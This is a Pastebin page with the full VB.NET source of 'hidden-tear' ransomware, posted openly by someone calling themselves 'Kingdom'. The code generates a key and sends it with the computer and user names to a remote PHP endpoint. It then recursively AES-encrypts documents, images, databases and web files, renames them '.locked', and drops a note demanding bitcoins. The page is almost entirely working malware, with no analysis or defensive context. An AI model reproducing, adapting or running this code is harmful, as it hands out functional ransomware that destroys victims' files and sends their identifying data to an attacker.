a7m3dalbalawi

hidden-tear Code

Jan 13th, 2016
1,211
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 4.90 KB | None | 0 0
  1. Imports System.Security.Cryptography
  2. Imports System.Text
  3. Imports System.IO
  4. Module KingDom
  5.  
  6.   '   ____  __.__              ________                   _________      
  7.   '  |    |/ _|__| ____    ____\______ \   ____   _____  /   _____/ ____  
  8.   '  |      < |  |/    \  / ___\|    |  \ /  _ \ /     \ \_____  \_/ ___\
  9.   '  |    |  \|  |   |  \/ /_/  >    `   (  <_> )  Y Y  \/        \  \___
  10.   '  |____|__ \__|___|  /\___  /_______  /\____/|__|_|  /_______  /\___  >
  11.   '          \/       \//_____/        \/             \/        \/     \/
  12.   '  Converted And Writer By : Kingdom ( الممَلكة ) .
  13.   '  Skype : KingDomSc .
  14.     Dim targetURL As String = "https://www.example.com/hidden-tear/write.php?info="
  15.     Dim userName As String = Environment.UserName
  16.     Dim computerName As String = System.Environment.MachineName.ToString()
  17.     Dim userDir As String = "C:\Users\"
  18.     Public Function LetsGo() As Boolean
  19.         StartAction()
  20.         Return True
  21.     End Function
  22.     Function AES_Encrypt(bytesToBeEncrypted() As Byte, passwordBytes() As Byte)
  23.         Dim encryptedBytes() As Byte = Nothing
  24.         Dim saltBytes() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8}
  25.         Using ms As IO.MemoryStream = New IO.MemoryStream
  26.             Using AES As RijndaelManaged = New RijndaelManaged()
  27.                 AES.KeySize = 256
  28.                 AES.BlockSize = 128
  29.                 Dim key = New Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000)
  30.                 AES.Key = key.GetBytes(AES.KeySize / 8)
  31.                 AES.IV = key.GetBytes(AES.BlockSize / 8)
  32.                 AES.Mode = CipherMode.CBC
  33.                 Dim cs = New CryptoStream(ms, AES.CreateEncryptor(), CryptoStreamMode.Write)
  34.                 Using (cs)
  35.                     cs.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length)
  36.                     cs.Close()
  37.                 End Using
  38.                 encryptedBytes = ms.ToArray()
  39.             End Using
  40.         End Using
  41.         Return encryptedBytes
  42.     End Function
  43.     Function CreatePassword(length As Integer) As String
  44.         Dim valid = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&?&/"
  45.         Dim res As StringBuilder = New StringBuilder()
  46.         Dim Rnd As New Random
  47.         Dim index As Integer = 0
  48.         While (index <= length - 1)
  49.             res.Append(valid(Rnd.Next(valid.Length)))
  50.             index = index + 1
  51.         End While
  52.         Return res.ToString()
  53.     End Function
  54.     Function encryptDirectory(location As String, password As String)
  55.         Dim validExtensions = New String() {".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpg", ".png", ".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".xml", ".psd"}
  56.         Dim files() As String = Directory.GetFiles(location)
  57.         Dim childDirectories As String() = Directory.GetDirectories(location)
  58.         For i = 0 To files.Length - 1
  59.             Dim extension As String = Path.GetExtension(files(i))
  60.             For ii = 0 To validExtensions.Length - 1
  61.                 If validExtensions(ii).Contains(extension) Then
  62.                     EncryptFile(files(i), password)
  63.                 End If
  64.             Next
  65.         Next
  66.         For i = 0 To childDirectories.Length - 1
  67.             encryptDirectory(childDirectories(i), password)
  68.         Next
  69.     End Function
  70.     Function messageCreator()
  71.         Dim path As String = "\Desktop\test\READ_IT.txt"
  72.         Dim fullpath As String = userDir + userName + path
  73.         Dim lines() As String = {"Files have been encrypted with hidden tear", "Send me some bitcoins or kebab", "And I also hate night clubs, desserts, being drunk."}
  74.         System.IO.File.WriteAllLines(fullpath, lines)
  75.     End Function
  76.     Function StartAction()
  77.         Dim password As String = CreatePassword(15)
  78.         Dim path As String = "\Desktop\test"
  79.         Dim startPath As String = userDir + userName + path
  80.         SendPassword(password)
  81.         encryptDirectory(startPath, password)
  82.         messageCreator()
  83.         password = Nothing
  84.         System.Windows.Forms.Application.Exit()
  85.     End Function
  86.     Function EncryptFile(file As String, password As String)
  87.         Dim bytesToBeEncrypted As Byte() = IO.File.ReadAllBytes(file)
  88.         Dim passwordBytes() As Byte = System.Text.Encoding.UTF8.GetBytes(password)
  89.         passwordBytes = System.Security.Cryptography.SHA256.Create().ComputeHash(passwordBytes)
  90.         Dim bytesEncrypted() As Byte = AES_Encrypt(bytesToBeEncrypted, passwordBytes)
  91.         IO.File.WriteAllBytes(file, bytesEncrypted)
  92.         System.IO.File.Move(file, file + ".locked")
  93.     End Function
  94.     Function SendPassword(Password As String) As String
  95.         Dim info As String = computerName + "-" + userName + " " + Password
  96.         Dim fullUrl As String = targetURL + info
  97.         Dim conent As String = New System.Net.WebClient().DownloadString(fullUrl)
  98.         Return conent
  99.     End Function
  100. End Module
Advertisement
Add Comment
Please, Sign In to add comment